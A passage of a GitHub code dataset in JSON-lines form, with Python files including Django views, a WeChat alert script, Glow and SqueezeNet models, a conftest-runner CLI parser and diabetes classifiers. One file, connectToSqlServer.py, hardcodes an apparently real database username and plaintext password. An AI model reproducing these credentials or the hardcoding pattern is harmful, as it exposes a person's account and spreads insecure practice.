video_id[1].split(\"&\")\n\t\t\tplaylist.append(video_id[0])\n\t\t\tlast_update.append(youtube.updated_at)\n\trandom.shuffle(playlist)\n\tprint(playlist)\n\n\tschedule_objects = Schedule.objects.all()\n\tschedule = []\n\tfor time in schedule_objects:\n\t\tschedule.append({'start_time': str(time.start_time), 'end_time': str(time.end_time)})\n\t\tlast_update.append(time.updated_at)\n\n\tlast_update = sorted(last_update)\n\tlast_update = str(last_update[-1])\n\n\tkiosk['url'] = url\n\tkiosk['playlist'] = playlist\n\tkiosk['schedule'] = schedule\n\n\tdata['kiosk'] = kiosk\n\tdata['last_update'] = last_update\n\n\treturn HttpResponse(json.dumps(data), content_type=\"application/json\")\n\n","repo_name":"BrandonWolf17/rinzler-crow","sub_path":"kiosk/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72257227415","text":"#!/usr/bin/python\n#coding:utf-8\nimport json,urllib2,sys\nerrMsg=sys.argv[1]\ncorpID='你的cropID'\nsecret='你的密码'\nmessage={\n\"touser\":\"@all\",\n\"msgtype\":\"text\",\n\"agentid\":\"1\",\n\"text\":{\n \"content\":\"Please replace this field\"\n},\n\"safe\":\"0\"\n}\nmessage['text']['content']=errMsg\n\ngetAccessTokenUrl='https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid='+corpID+'&corpsecret='+secret\nmsg = json.dumps(message,ensure_ascii=False)\n\naccessToken = urllib2.urlopen(getAccessTokenUrl)\naccessToken = json.loads(accessToken.read())['access_token']\n\nsendMsgUrl='https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token='+accessToken\nreq = urllib2.Request(sendMsgUrl,msg)\nreq.add_header('Content-Type','application/json')\nresponse = urllib2.urlopen(req)\nresponse.close()","repo_name":"DaoRaiMi/ScriptTools","sub_path":"toWeichat.py","file_name":"toWeichat.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16765504631","text":"import json\n\nimport torch\nfrom torchvision.utils import make_grid\nimport matplotlib.pyplot as plt\n\nfrom datasets import get_CIFAR10, get_SVHN, get_MNIST, postprocess\nfrom model import Glow\nimport ipdb\nimport os\nimport argparse\nimport copy\nfrom torchvision import utils as torchvision_utils\nimport numpy as np\n\nimport torch.utils.data as data\ndevice = torch.device(\"cuda\")\n\n\ndef plot_imgs(imgs, title):\n K = len(imgs)\n f, axs = plt.subplots(1,K,figsize=(K*5,4))\n for idx, images in enumerate(imgs):\n grid = make_grid((postprocess(images).cpu().detach()[:30]), nrow=6).permute(1,2,0)\n axs[idx].imshow(grid)\n axs[idx].axis('off')\n plt.savefig(os.path.join(output_folder, f'{title}.png'))\n\n\ndef abs_pixel_dist(x1, x2):\n def _quant(x):\n return (x+.5) * 255\n return torch.abs(_quant(x1) - _quant(x2)).mean().item()\n\ndef run_recon(x, model):\n z = model(x, None, correction=False)[0]\n recon = model(y_onehot=None, temperature=1, z=z, reverse=True, use_last_split=True)\n return recon\n\ndef run_recon_evolution(model, x, fpath, return_dict=False):\n errs = []\n l2errs = []\n oimg = copy.deepcopy(x)\n xs = [x]\n recon_errs = []\n for _ in range(9):\n recon = run_recon(x, model).detach()\n errs.append(abs_pixel_dist(oimg, recon))\n l2errs.append(torch.mean((oimg-recon)**2).item())\n xs.append(recon)\n recon_errs.append(recon - oimg)\n x = recon\n\n fig, axs = plt.subplots(1, 4, figsize=(20,4))\n grid = .5+torchvision_utils.make_grid(torch.cat([x[:10] for x in xs],0)[:100], nrow=10, padding=1, pad_value=1.0)\n axs[0].imshow(grid.permute(1,2,0).detach().cpu())\n axs[0].set_xticks([])\n axs[0].set_yticks([])\n axs[0].set_title(\"Recons\")\n grid = .5+torchvision_utils.make_grid(torch.cat([x[:10] for x in recon_errs],0)[:100], nrow=10, padding=1, pad_value=1.0)\n axs[1].imshow(grid.permute(1,2,0).detach().cpu())\n axs[1].set_xticks([])\n axs[1].set_yticks([])\n axs[1].set_title(\"Erros\")\n axs[2].plot(np.arange(len(errs)), errs)\n axs[2].set_ylabel('Abs Pixel Dist')\n axs[2].set_xlabel('Recon Pass')\n axs[3].plot(np.arange(len(errs)), l2errs)\n axs[3].set_ylabel('L2 Dist per pixel')\n axs[3].set_xlabel('Recon Pass')\n axs[0].axis('off')\n axs[1].axis('off')\n fig.suptitle('Each row is every 5 foward/inverse pass', fontsize=16)\n plt.savefig(fpath)\n # return the final PAD\n if return_dict:\n ret = {\n 'errs':errs,\n 'l2errs':l2errs\n }\n else:\n ret = errs[-1]\n return ret\n\ndef main(args,kwargs):\n output_folder = args.output_folder\n model_name = args.model_name\n\n with open(os.path.join(output_folder,'hparams.json')) as json_file:\n hparams = json.load(json_file)\n\n image_shape, num_classes, _, test_mnist = get_MNIST(False, hparams['dataroot'], hparams['download'])\n test_loader = data.DataLoader(test_mnist, batch_size=32,\n shuffle=False, num_workers=6,\n drop_last=False)\n x, y = test_loader.__iter__().__next__()\n x = x.to(device)\n\n model = Glow(image_shape, hparams['hidden_channels'], hparams['K'], hparams['L'], hparams['actnorm_scale'],\n hparams['flow_permutation'], hparams['flow_coupling'], hparams['LU_decomposed'], num_classes,\n hparams['learn_top'], hparams['y_condition'], False if 'logittransform' not in hparams else hparams['logittransform'],False if 'sn' not in hparams else hparams['sn'])\n\n model.load_state_dict(torch.load(os.path.join(output_folder, model_name)))\n model.set_actnorm_init()\n\n model = model.to(device)\n model = model.eval()\n\n\n with torch.no_grad():\n images = model(y_onehot=None, temperature=1, batch_size=32, reverse=True).cpu()\n better_dup_images = model(y_onehot=None, temperature=1, z=model._last_z, reverse=True, use_last_split=True).cpu()\n dup_images = model(y_onehot=None, temperature=1, z=model._last_z, reverse=True).cpu()\n worse_dup_images = model(y_onehot=None, temperature=1, z=model._last_z, reverse=True).cpu()\n\n l2_err = torch.pow((images - dup_images).view(images.shape[0], -1), 2).sum(-1).mean()\n better_l2_err = torch.pow((images - better_dup_images).view(images.shape[0], -1), 2).sum(-1).mean()\n worse_l2_err = torch.pow((images - worse_dup_images).view(images.shape[0], -1), 2).sum(-1).mean()\n print(l2_err, better_l2_err, worse_l2_err)\n plot_imgs([images, dup_images, better_dup_images, worse_dup_images], '_recons')\n\n with torch.no_grad():\n z, nll, y_logits = model(x, None)\n better_dup_images = model(y_onehot=None, temperature=1, z=z, reverse=True, use_last_split=True).cpu()\n\n plot_imgs([x, better_dup_images], '_data_recons2')\n\n fpath = os.path.join(output_folder, '_recon_evoluation.png')\n pad = run_recon_evolution(model, x, fpath)\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--output_folder', type=str,\n default= '.')\n\n parser.add_argument('--model_name',\n type=str, default='glow_model_250.pth')\n args = parser.parse_args()\n kwargs = vars(args)\n\n main(args, kwargs)\n","repo_name":"asteroidhouse/INN-exploding-inverses","sub_path":"glow/recon_mnist.py","file_name":"recon_mnist.py","file_ext":"py","file_size_in_byte":5263,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"67"} +{"seq_id":"72338634135","text":"colors = {\n 'body_background': '#181A1C',\n 'header_background': '#232629',\n 'text': '#d6d9dc',\n 'graph_background': '#232629',\n 'page_background': '#181A1C',\n 'bar_color': '#b30000'}\n\nfont = {'font': 'sans-serif'}\n\nmain_app_style = {'backgroundColor': colors['body_background'],\n 'width': '97%',\n 'padding': '10px',\n 'display': 'flex',\n 'flex-direction': 'column',\n }\n\nlarge_viz_container_style = {'display': 'flex',\n 'flex-direction': 'column',\n 'margin-left': '0px',\n 'margin-right': '0px',\n 'box-shadow': '0 1px 3px 0 rgba(0, 0, 0, 2)',\n 'border': '.5pt solid #a6a6a6'}\n\nlarge_viz_style = {'margin-right': '5px',\n 'box-shadow': '0 1px 3px 0 rgba(0, 0, 0, 2)',\n 'width': '100%',\n 'padding': '0',\n 'border': '.5pt solid #a6a6a6'}\n\nsmall_viz_container_style = {'display': 'flex',\n 'flex-direction': 'row',\n 'margin-left': '0px',\n 'margin-right': '0px',\n }\n\nsmall_viz_style = {'box-shadow': '0 1px 3px 0 rgba(0, 0, 0, 2)',\n 'width': '50%',\n 'padding': '0',\n 'border': '.5pt solid #a6a6a6',\n 'font-color': colors['text']}\n\nradio_item_style = {'border': '.5pt solid #a6a6a6',\n 'fontsize': 20,\n 'color': colors['text'],\n 'backgroundcolor': colors['header_background'],\n 'font-family': font['font'],\n \n }\n\nbutton_style = {'color': colors['text'],\n 'font-size': '11px',\n 'border-radius': '10px',\n 'border': '.5pt solid #a6a6a6',\n 'height': '40px',\n 'width': '130px',\n 'max-width': '200px',\n 'background-color': colors['header_background'],\n 'box-shadow': '0 8px 16px 0 rgba(0,0,0,2), 0 6px 20px 0 rgba(0,0,0,0.19)',\n 'font-family': font['font'],\n 'cursor': 'pointer'}\n\nsummary_style = {'textAlign': 'left',\n 'backgroundColor': colors['header_background'],\n 'color': colors['text'],\n 'font-size': '14px',\n 'padding-left': '2%',\n 'padding-right': '2%',\n 'box-shadow': '0 1px 3px 0 rgba(0, 0, 0, 2)',\n 'margin-bottom': '5px',\n 'margin-top': '0px',\n 'width': '96%',\n 'line-height': '1.7',\n 'font-family': font['font']}\n\nheader_1_style = {'display': 'flex',\n 'flex-direction': 'column',\n 'justify-content': 'center',\n 'text-align': 'center',\n 'color': colors['text'],\n 'box-shadow': '0 1px 3px 0 rgba(0, 0, 0, 2)',\n 'margin-top': '0px',\n 'margin-bottom': '0px',\n 'width': '100%',\n 'font-family': font['font'],\n 'background-image': \"url('https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcSqr00VhzlBAcGywC5yvW5PjQk9UM1fuP46ypv7THkW6d2luTIh')\",\n 'background-repeat': 'no-repeat',\n 'background-size': 'cover',\n 'height': '100px'}\n\nprediction_style = {'textAlign': 'left',\n 'backgroundColor': colors['header_background'],\n 'color': colors['text'],\n 'font-size': '14px',\n 'padding-left': '2%',\n 'padding-right': '2%',\n 'box-shadow': '0 1px 3px 0 rgba(0, 0, 0, 2)',\n 'margin-bottom': '5px',\n 'width': '96%',\n 'line-height': '1.7',\n 'font-family': font['font'],\n 'border': '.5pt solid #a6a6a6'}\n\ninteractive_graph_style = {'display': 'flex',\n 'flex-direction': 'column',\n 'margin-left': '0px',\n 'margin-right': '0px',\n 'margin-bottom': '0px'}\n\nbutton_container_style = {'display': 'flex',\n 'flex-direction': 'row',\n 'justify-content': 'space-between'}\n","repo_name":"andyakrn/COVID_19","sub_path":"App_files/style.py","file_name":"style.py","file_ext":"py","file_size_in_byte":4561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33065067497","text":"\n#--------------------------------------------------------\n# Using odbc connector to get the data from the database\n#--------------------------------------------------------\n\nimport pyodbc\n\ndriver = 'SQL Server'\nserver = 'GMOFBIPUB'\ndb1 = 'GMOFBI'\ntcon = 'yes'\nuname = 'a-dmvakh'\npword = 'Krevetka37'\nselect = \"\"\"SELECT\"\"\"\ny = list()\n\ncnxn = pyodbc.connect(driver='{SQL Server}'\n ,host=server\n ,database=db1\n ,trusted_connection=tcon\n ,user=uname\n ,password=pword)\n\ncursor = cnxn.cursor()\n\nx = cursor.execute(\"\"\"SELECT TOP 10\n [MSSTPID]\n ,[TPName]\n ,[SegmentName]\n ,[CountryName]\n\n FROM [GMOFBI].[dbo].[vw_Dim_MSS_Organization]\n WHERE CountryName = 'Canada' AND IsTopParent = 'Yes'\"\"\")\n\nfor i in x:\n y.append(i)\n\nprint(y)\n\n","repo_name":"DmitryVakhrushev/Python","sub_path":"PythonProjects/connectToSqlServer.py","file_name":"connectToSqlServer.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36823801666","text":" #http://www.apache.org/licenses/LICENSE-2.0\n\n#Unless required by applicable law or agreed to in writing, software\n#distributed under the License is distributed on an \"AS IS\" BASIS,\n#WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#See the License for the specific language governing permissions and\n#limitations under the License.\n\n# Authors: Konstantinos Panayiotou, Manos Tsardoulias\n# contact: klpanagi@gmail.com, etsardou@iti.gr\n\n\nimport sys\nimport os\nimport timeit\nimport argparse\n\n__path__ = os.path.dirname(os.path.realpath(__file__))\n\nfrom RappCloud import RappPlatformService\nfrom RappCloud.CloudMsgs import OntologyIsSubsuperclass\n\n\nclass RappInterfaceTest:\n\n def __init__(self):\n # Set the valid results\n self.valid_results = True;\n self.msg = OntologyIsSubsuperclass(\n parent_class='SpatialThing',\n child_class='Oven',\n recursive=True)\n self.svc = RappPlatformService(self.msg)\n\n\n\n def execute(self):\n start_time = timeit.default_timer()\n # Call the RappCloud service\n response = self.svc.call()\n end_time = timeit.default_timer()\n self.elapsed_time = end_time - start_time\n return self.validate(response)\n\n\n def validate(self, response):\n error = response.error\n if error != \"\":\n return [error, self.elapsed_time]\n\n # Get the returned data\n return_data = response.result\n # Check if the returned data are equal to the expected\n if self.valid_results == return_data:\n return [True, self.elapsed_time]\n else:\n return [\"Unexpected result : \" + str(return_data), self.elapsed_time]\n\n","repo_name":"rapp-project/rapp-platform","sub_path":"rapp_testing_tools/scripts/default_tests/exclude/ontology_is_subsuperclass_of_SpatialThing.py","file_name":"ontology_is_subsuperclass_of_SpatialThing.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"67"} +{"seq_id":"71109980053","text":"from argparse import ArgumentParser, Namespace, RawTextHelpFormatter\nfrom common.cmd import exit_if_command_not_found\nfrom logging import DEBUG\nfrom common.logger import Logger, set_log_level\n\ndef parse_and_validate_args() -> Namespace:\n parser = ArgumentParser(\n description=\"\"\"Tools is a glue between conftest and the Gatekeeper.\nIt allows verifying Kubernetes objects against Gatekeeper constraints.\nThe Kubernetes objects and the Gatekeeper constraints can be in a Helm chart form. \nVerification can be run in Continuous Integration (CI/CD) pipelines without the Kubernetes cluster access or even the Gatekeeper.\n\nconftest-runner performs the following steps:\n- templates input Helm chart, to get Kubernetes objects manifests\n- convert Kubernetes objects to AdmissionReview objects (form consumed by the Gatekeeper constraints)\n- extract Rego code from the Gatekeeper constraint templates\n- transform extracted Rego code into conftest tests\n- run conftest\n\nRequired dependencies: \n- installed helm3\n- installed conftest\n\nExample run:\n\npython3 conftest-runner.py \\\n\n\n\"\"\",\n formatter_class=RawTextHelpFormatter\n )\n parser.add_argument(\n '--input-kubernetes-objects',\n '-iko',\n dest='input_kubernetes_objects',\n action='store',\n help='local location of file with the kubernetes objects',\n metavar='',\n )\n\n parser.add_argument(\n '--input-chart',\n '-ic',\n dest='input_chart',\n action='store',\n help='URL or local chart location',\n metavar='',\n )\n\n parser.add_argument(\n '--input-chart-values',\n '-icv',\n dest='input_chart_values',\n action='store',\n help='user supplied values.yaml file used for chart rendering',\n metavar='',\n )\n\n parser.add_argument(\n '--input-chart-namespace',\n '-icn',\n dest='input_chart_namespace',\n action='store',\n help='namespace used for chart rendering',\n metavar='',\n default='default',\n )\n\n parser.add_argument(\n '--input-chart-release-name',\n '-icrn',\n dest='input_chart_release_name',\n action='store',\n help='release name used for chart rendering',\n metavar='',\n default='release',\n )\n\n parser.add_argument(\n '--policy-constraint-templates-file',\n '-pctf',\n dest='policy_constraint_templates_file',\n action='store',\n help='local chart location',\n metavar='',\n )\n\n parser.add_argument(\n '--policy-chart-constraint-templates',\n '-pcct',\n dest='policy_chart_constraint_templates',\n action='store',\n help='URL or local chart location',\n metavar='',\n )\n\n parser.add_argument(\n '--policy-chart-constraint-templates-values',\n '-pcctv',\n dest='policy_chart_constraint_templates_values',\n action='store',\n help='user supplied values.yaml file used for chart rendering',\n metavar='',\n )\n\n parser.add_argument(\n '--policy-constraints-file',\n '-pcf',\n dest='policy_constraints_file',\n action='store',\n help='local chart location',\n metavar='',\n )\n\n parser.add_argument(\n '--policy-chart-constraints',\n '-pcc',\n dest='policy_chart_constraints',\n action='store',\n help='URL or local chart location',\n metavar='',\n )\n\n parser.add_argument(\n '--policy-chart-constraints-values',\n '-pccv',\n dest='policy_chart_constraints_values',\n action='store',\n help='user supplied values.yaml file used for chart rendering',\n metavar='',\n )\n\n parser.add_argument(\n '--input-namespaces-file',\n '-inf',\n dest='input_namespaces_file',\n action='store',\n help='file path that contains Kubernetes namespaces yaml. Namespace labels will be read from this files. '\n + '(necessary if constraints have namespaceSelector settings)',\n metavar='',\n )\n\n parser.add_argument(\n '--input-default-namespace',\n '-idn',\n dest='input_default_namespace',\n action='store',\n help='namespace used as a default when input-namespaces-file not provided',\n metavar='',\n default='default',\n )\n\n parser.add_argument(\n '--output-format',\n '-o',\n dest='output_format',\n action='store',\n help='conftest command output format',\n metavar='',\n choices=('stdout', 'json', 'tap', 'table', 'junit', 'github'),\n )\n\n parser.add_argument(\n '--output-file',\n '-of',\n dest='output_file',\n action='store',\n help='path to file where output will be saved',\n metavar='',\n )\n\n parser.add_argument(\n '--verbose',\n '-v',\n dest='verbose',\n action='store_true',\n help='use verbose output',\n )\n\n parser.add_argument(\n '--warning-mode',\n '-w',\n dest='warning_mode',\n action='store_true',\n help='run conftest in warning mode',\n )\n\n parser.add_argument(\n '--no-cleanup',\n '-nc',\n dest='no_cleanup',\n action='store_true',\n help='disable cleanup temporary files',\n )\n\n parser.add_argument(\n '--fail-fast',\n '-ff',\n dest='fail_fast',\n action='store_true',\n help='exit on first failed test',\n )\n\n parser.add_argument(\n '--helm-binary',\n '-hb',\n dest='helm_binary',\n action='store',\n default=\"helm3\",\n help='path to helm 3 binary',\n metavar='',\n )\n\n parser.add_argument(\n '--helm-options',\n '-ho',\n dest='helm_options',\n action='store',\n default=\"\",\n help='Additional helm options, which will be passed to the \"helm template\" command',\n metavar='',\n )\n\n args = parser.parse_args()\n if (args.input_kubernetes_objects and args.input_chart):\n parser.error(\"Options --input-kubernetes-objects and --input-chart are mutually exclusive!\")\n if (not args.input_kubernetes_objects and not args.input_chart):\n parser.error(\"One of --input-kubernetes-objects/--input-chart options must be set!\")\n\n if (args.policy_constraint_templates_file and args.policy_chart_constraint_templates):\n parser.error(\"Options --policy-constraint-templates-file and --policy-chart-constraint-templates are mutually exclusive!\")\n if (not args.policy_constraint_templates_file and not args.policy_chart_constraint_templates):\n parser.error(\"One of --policy-constraint-templates-file/--policy-chart-constraint-templates options must be set!\")\n\n if (args.policy_constraints_file and args.policy_chart_constraints):\n parser.error(\"Options --policy-constraints-file and --policy-chart-constraints are mutually exclusive!\")\n if (not args.policy_constraints_file and not args.policy_chart_constraints):\n parser.error(\"One of --policy-constraints-file/--policy-chart-constraints options must be set!\")\n\n if args.output_file is not None:\n Logger(args.output_file)\n if args.verbose:\n set_log_level(DEBUG)\n\n if (args.input_chart or args.policy_chart_constraint_templates or args.policy_chart_constraints):\n exit_if_command_not_found(f\"{args.helm_binary} version -c\", args.verbose)\n\n exit_if_command_not_found(\"conftest --version\", args.verbose)\n\n return args\n","repo_name":"nokia/conftest-runner","sub_path":"src/cli/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":7642,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"41995582221","text":"from django.urls import path\n\nfrom music_store.microphones.views import MicrophonesCatalogView, MicrophoneCreateView, \\\n MicrophoneEditView, MicrophoneDetailsView, MicrophoneDeleteView, add_order\n\nurlpatterns = [\n path('catalog/', MicrophonesCatalogView.as_view(), name='microphones-catalog'),\n path('create/', MicrophoneCreateView.as_view(), name='microphone-create'),\n path('edit//', MicrophoneEditView.as_view(), name='microphone-edit'),\n path('details//', MicrophoneDetailsView.as_view(), name='microphone-details'),\n path('delete//', MicrophoneDeleteView.as_view(), name='microphone-delete'),\n path('order//', add_order, name='microphone-order'),\n]\n","repo_name":"kzhelyazkov81/music_store","sub_path":"music_store/microphones/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72465696534","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import accuracy_score\n\ndiabetes_dataset = pd.read_csv('diabetes.csv')\nX = diabetes_dataset.drop(columns='Outcome', axis=1)\nY = diabetes_dataset['Outcome']\n\n\nscaler = StandardScaler()\nscaler.fit(X)\nstandardized_data = scaler.transform(X)\n\nX = standardized_data\nY = diabetes_dataset['Outcome']\n\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2, stratify=Y, random_state=2)\n\nclassifiers = {\n \"Naive Bayes\": GaussianNB(),\n \"Random Forest\": RandomForestClassifier(random_state=2),\n \"AdaBoost\": AdaBoostClassifier(random_state=2),\n \"K-Nearest Neighbors\": KNeighborsClassifier(),\n \"Logistic Regression\": LogisticRegression(random_state=2),\n \"SVM\": SVC(kernel='linear', random_state=2)\n}\n\n\nfor name, clf in classifiers.items():\n clf.fit(X_train, Y_train)\n\n train_predictions = clf.predict(X_train)\n train_accuracy = accuracy_score(train_predictions, Y_train)\n print(f'{name} - Training accuracy: {train_accuracy:.2f}')\n\n test_predictions = clf.predict(X_test)\n test_accuracy = accuracy_score(test_predictions, Y_test)\n print(f'{name} - Testing accuracy: {test_accuracy:.2f}')\n\n input_data = (5, 166, 72, 19, 175, 25.8, 0.587, 51)\n arr = np.asarray(input_data)\n nums = arr.reshape(1, -1)\n std_data = scaler.transform(nums)\n\n prediction = clf.predict(std_data)\n if prediction[0] == 0:\n print(f'{name} - The person is not diabetic')\n else:\n print(f'{name} - The person is diabetic')\n\n print()\n","repo_name":"mVedr/Machine_Learning","sub_path":"ML/Diabetes_Detection/ml.py","file_name":"ml.py","file_ext":"py","file_size_in_byte":1890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18585163337","text":"from argparse import ArgumentParser\nimport torch\nfrom torch import Tensor\nimport torch.nn as nn\nimport torch.nn.init as init\nimport torch.nn.functional as F\nfrom typing import Any, Callable, List, Optional\nfrom torchvision.models.mobilenetv2 import _make_divisible\nfrom .torch_model import BaseModel\nfrom functools import partial\n\n\nclass FireModule(nn.Module):\n \"\"\"Fire module with normalization layers\"\"\"\n\n def __init__(\n self,\n inplanes: int,\n squeeze_planes: int,\n expand1x1_planes: int,\n expand3x3_planes: int,\n norm_layer: Optional[Callable[..., nn.Module]] = None\n ) -> None:\n super(FireModule, self).__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n self.inplanes = inplanes\n self.squeeze = nn.Conv2d(\n inplanes, squeeze_planes, kernel_size=1, bias=True)\n self.squeeze_activation = nn.ReLU(inplace=True)\n self.expand1x1 = nn.Conv2d(squeeze_planes, expand1x1_planes,\n kernel_size=1, bias=True)\n self.expand1x1_activation = nn.ReLU(inplace=True)\n self.expand3x3 = nn.Conv2d(squeeze_planes, expand3x3_planes,\n kernel_size=3, padding=1, bias=True)\n self.expand3x3_activation = nn.ReLU(inplace=True)\n\n self.squeeze_norm = norm_layer(squeeze_planes)\n\n def forward(self, x: torch.Tensor) -> torch.Tensor:\n x = self.squeeze_activation(self.squeeze_norm(self.squeeze(x)))\n return torch.cat([\n self.expand1x1_activation(self.expand1x1(x)),\n self.expand3x3_activation(self.expand3x3(x))\n ], 1)\n\n\nclass FireConfig:\n \"\"\"Configuration of a Fire Module\"\"\"\n\n def __init__(self, inplanes: int, squeeze_planes: int, outplanes: int, width_mult: float) -> None:\n self.inplanes = self.adjust_channels(inplanes, width_mult)\n # don't adjust the number of squeeze channels\n self.squeeze_planes = squeeze_planes\n self.outplanes = self.adjust_channels(outplanes, width_mult)\n\n @staticmethod\n def adjust_channels(channels: int, width_mult: float) -> int:\n # needs to be divisible by 2 since we have the same number of 1x1 and 3x3 convolutions\n return _make_divisible(channels * width_mult, 2)\n\n\nclass Fire(nn.Module):\n \"\"\"Fire module with skip connection\"\"\"\n\n def __init__(self, config: FireConfig, use_skip: bool = False) -> None:\n super(Fire, self).__init__()\n if use_skip:\n assert config.inplanes == config.outplanes\n self.use_skip = use_skip\n self.block = FireModule(config.inplanes, config.squeeze_planes, int(\n config.outplanes/2), int(config.outplanes/2))\n\n def forward(self, x: Tensor) -> Tensor:\n if self.use_skip:\n return x+self.block(x)\n else:\n return self.block(x)\n\n\nclass SqueezeNet(BaseModel):\n \"\"\"SqueezeNetV2 model [1]. Following the official implementation in https://github.com/forresti/SqueezeNet with few changes:\n - add batchnorm after the squeezing layers\n - change the classifier to \n AdaptiveAvgPool2d,\n Linear\n References:\n [1] Iandola, F., Han, S., Moskewicz, M., Ashraf, K., Dally, W., and Keutzer, K. (2016). \n SqueezeNet:AlexNet-level accuracy with 50x fewer parameters and <0.5MB model size. arXiv:1602.07360.\n \"\"\"\n\n def __init__(\n self,\n lr: float = 0.005, weight_decay: float = 0, class_names: List = None, x_size: int = 128, y_size: int = 128, sgd: bool = True, input_channels=1,\n num_classes: int = 35,\n fire_cfg: Callable[..., nn.Module] = FireConfig,\n version: str = '1_1',\n **params\n ) -> None:\n super().__init__(lr, weight_decay, num_classes, class_names, sgd, **params)\n self.save_hyperparameters()\n # to generate the model description by the LightningModule\n self.example_input_array = torch.zeros(\n 1, input_channels, x_size, y_size, device=self.device)\n width_mult = params.pop('width_mult', 1.0)\n\n bneck_conf = partial(fire_cfg, width_mult=width_mult)\n adjust_channels = partial(\n fire_cfg.adjust_channels, width_mult=width_mult)\n\n self.num_classes = num_classes\n if version == '1_0':\n self.features = nn.Sequential(\n nn.Conv2d(input_channels, adjust_channels(\n 96), kernel_size=7, stride=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2, ceil_mode=True),\n Fire(bneck_conf(96, 16, 128)),\n Fire(bneck_conf(128, 16, 128), use_skip=False),\n Fire(bneck_conf(128, 32, 256)),\n nn.MaxPool2d(kernel_size=3, stride=2, ceil_mode=True),\n Fire(bneck_conf(256, 32, 256), use_skip=False),\n Fire(bneck_conf(256, 48, 384)),\n Fire(bneck_conf(384, 48, 384), use_skip=False),\n Fire(bneck_conf(384, 64, 512)),\n nn.MaxPool2d(kernel_size=3, stride=2, ceil_mode=True),\n Fire(bneck_conf(512, 64, 512), use_skip=False),\n )\n elif version == '1_1':\n self.features = nn.Sequential(\n nn.Conv2d(input_channels, adjust_channels(\n 64), kernel_size=3, stride=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2, ceil_mode=True),\n Fire(bneck_conf(64, 16, 128)),\n Fire(bneck_conf(128, 16, 128), use_skip=False),\n nn.MaxPool2d(kernel_size=3, stride=2, ceil_mode=True),\n Fire(bneck_conf(128, 32, 256)),\n Fire(bneck_conf(256, 32, 256), use_skip=False),\n nn.MaxPool2d(kernel_size=3, stride=2, ceil_mode=True),\n Fire(bneck_conf(256, 48, 384)),\n Fire(bneck_conf(384, 48, 384), use_skip=False),\n Fire(bneck_conf(384, 64, 512)),\n Fire(bneck_conf(512, 64, 512), use_skip=False),\n )\n else:\n raise ValueError(\"Unsupported SqueezeNet version {version}:\"\n \"1_0 or 1_1 expected\".format(version=version))\n\n # Final convolution is initialized differently from the rest\n\n final_conv = nn.Conv2d(adjust_channels(\n 512), self.num_classes, kernel_size=1)\n self.classifier = nn.Sequential(\n nn.AdaptiveAvgPool2d((1, 1)),\n # equivalent to a linear layer (since 1x1 images)\n final_conv,\n )\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n if m is final_conv:\n init.normal_(m.weight, mean=0.0, std=0.01)\n else:\n init.kaiming_uniform_(m.weight)\n if m.bias is not None:\n init.constant_(m.bias, 0)\n\n @staticmethod\n def add_model_specific_args(parent_parser: ArgumentParser) -> ArgumentParser:\n \"\"\"Add arguments \n - version : the version of the model (default 1_1)\n - width_mult: the width multiplier. Reduces or expands the number of channels (default 1.0)\n to the parser.\"\"\"\n parser = super(SqueezeNet, SqueezeNet).add_model_specific_args(\n parent_parser)\n parser.add_argument('--version', default='1_1', type=str)\n parser.add_argument('--width_mult', default=1.0, type=float)\n return parser\n\n def _forward_impl(self, x: torch.Tensor) -> torch.Tensor:\n x = self.features(x)\n x = self.classifier(x)\n return F.log_softmax(torch.flatten(x, 1), dim=1)\n","repo_name":"amari97/sfc-audio","sub_path":"models/SqueezeNet.py","file_name":"SqueezeNet.py","file_ext":"py","file_size_in_byte":7691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20101064279","text":"import random\nimport time\nimport sys\nimport os\nfrom math import ceil, log\n\ndef dbth(numOfServers):\n\n numOfChoices = ceil(log(numOfServers, 2))\n\n numOfCompetitors=numOfServers\n if numOfCompetitors%2!=0:\n numOfCompetitors -= 1\n round=1\n\n competitors = []\n for i in range(numOfCompetitors):\n competitor = \"\"\n for j in range(numOfChoices):\n choice = random.randint(0,2)\n if choice == 1:\n competitor += \"P\"\n elif choice == 2:\n competitor += \"R\"\n else:\n competitor += \"S\"\n\n competitors.append(competitor)\n\n while(round=1):\n randLeft = random.randint(0,randRange)\n randRight = random.randint(0,randRange)\n\n while(randLeft==randRight):\n randLeft = random.randint(0,randRange)\n randRight = random.randint(0,randRange)\n\n if 